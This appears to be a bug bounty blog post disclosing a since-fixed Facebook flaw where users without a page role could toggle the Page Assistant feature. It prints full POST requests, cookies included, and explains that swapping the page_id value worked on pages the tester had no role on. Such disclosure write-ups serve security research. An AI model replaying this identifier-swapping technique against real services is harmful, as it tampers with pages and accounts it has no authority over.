Facebook Bug Bounty:Toggling Page Assistant Feature of any page.

Facebook Introduced a new feature called "Page Assistant" back in September/October (I'm not sure when they introduced the feature)

PAGE ASSISTANT: As seen on many websites the Page Assistant bot helps page admin to manage their Page and get better results on Facebook.

👉 Read More About Page Assistant



As the feature is new I thought about giving it a shot.But unfortunately, Page Assistant Bot was not available on my page :| So what I did is created a test account using VPN and got that feature on my newly created page 😀 While testing, I noticed that the Page Assistant page was only accessible for Page Admins.Meaning that only Page Admins can turn on/off Page Assistant.Why not try to do the same having read only(Analyst) role on the page?Demoted my accounts role to Analyst and repeated the request.Guess what?It worked.So, I thought about toggling the feature having no role on the page.When toggling a POST Request like below is sent:

Turn ON:


POST /ba/setting/toggle/?dpr=1 HTTP/1.1
Host: www.facebook.com
Connection: close
Content-Length: 538
Origin: https://www.facebook.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: https://www.facebook.com/Orrej-1876785249205812/settings/?tab=business_assistant
Accept-Language: en-US,en;q=0.8
Cookie: datr=yKrfWZBM4JzAD40s8Q7it_vn; locale=en_US; sb=yKrfWTKMpEFwQ4MvOo8xCXWE; c_user=100008608622215; xs=26%3AmrUDW2TH8YMpVQ%3A2%3A1507833029%3A13272%3A5258; fr=0XppyAgs3tM6YMRi2.AWWNcA-MKdcWStGR931SrhAr9-8.BZ36re.-A.AAA.0.0.BZ37TF.AWXjozWg; pl=n; act=1507835204525%2F15; dpr=1; presence=EDvF3EtimeF1507835424EuserFA21B08608622215A2EstateFDutF1507835424369CEchFDp_5f1B08608622215F22CC; wd=1024x532

page_id=1095827307130204&is_enabled=true&__user=100008608622215&__a=1&__dyn=5V4cjLx2ByK5A9UoHSF8CC5EW2qeyaGeyecWheCGxK7VF8W3F6xCahUKFGUpxSaxu9wJyWxebngy489p8iBAyry8lF1G4F88Ulwx9UbpoGjxifBzEnUOfz8gCwoEgyoC8yElAx6exu2m5EoC-Wx2U8ovxCcwDyUHxq78lDxi8wVx6qdwg9HDx67lKbKmloyqfhQ7E8k9zU898K-6oxa4AUkxy3GUy5FojG48cU9Ehxi8yECicyo&__af=h0&__req=i&__be=1&__pc=PHASED:www_tahoe_pkg&__rev=3366407&fb_dtsg=AQEQAU0jKUaX:AQFswpvV8mAc&jazoest=265816981658548106758597885865817011511911211886561096599&__spin_r=3366407&__spin_b=trunk&__spin_t=1507835406


 Turn OFF:


POST /ba/setting/toggle/?dpr=1 HTTP/1.1
Host: www.facebook.com
Connection: close
Content-Length: 538
Origin: https://www.facebook.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: https://www.facebook.com/Orrej-1876785249205812/settings/?tab=business_assistant
Accept-Language: en-US,en;q=0.8
Cookie: datr=yKrfWZBM4JzAD40s8Q7it_vn; locale=en_US; sb=yKrfWTKMpEFwQ4MvOo8xCXWE; c_user=100008608622215; xs=26%3AmrUDW2TH8YMpVQ%3A2%3A1507833029%3A13272%3A5258; fr=0XppyAgs3tM6YMRi2.AWWNcA-MKdcWStGR931SrhAr9-8.BZ36re.-A.AAA.0.0.BZ37TF.AWXjozWg; pl=n; act=1507835204525%2F15; dpr=1; presence=EDvF3EtimeF1507835424EuserFA21B08608622215A2EstateFDutF1507835424369CEchFDp_5f1B08608622215F22CC; wd=1024x532

page_id=1095827307130204&is_enabled=false&__user=100008608622215&__a=1&__dyn=5V4cjLx2ByK5A9UoHSF8CC5EW2qeyaGeyecWheCGxK7VF8W3F6xCahUKFGUpxSaxu9wJyWxebngy489p8iBAyry8lF1G4F88Ulwx9UbpoGjxifBzEnUOfz8gCwoEgyoC8yElAx6exu2m5EoC-Wx2U8ovxCcwDyUHxq78lDxi8wVx6qdwg9HDx67lKbKmloyqfhQ7E8k9zU898K-6oxa4AUkxy3GUy5FojG48cU9Ehxi8yECicyo&__af=h0&__req=i&__be=1&__pc=PHASED:www_tahoe_pkg&__rev=3366407&fb_dtsg=AQEQAU0jKUaX:AQFswpvV8mAc&jazoest=265816981658548106758597885865817011511911211886561096599&__spin_r=3366407&__spin_b=trunk&__spin_t=1507835406


Changed the page_id value to a page in which I don't have any role and it worked 😄

Impact:A user having no role on page can turn on/off Page Assistant.




Timeline:

Friday, October 13, 2017 at 2:03am:Issue Reported

Wednesday, October 25, 2017 at 4:30am:Triaged

Friday, December 1, 2017 at 10:53pm:Fixed

Wednesday, December 6, 2017 at 8:18am:$500

Comments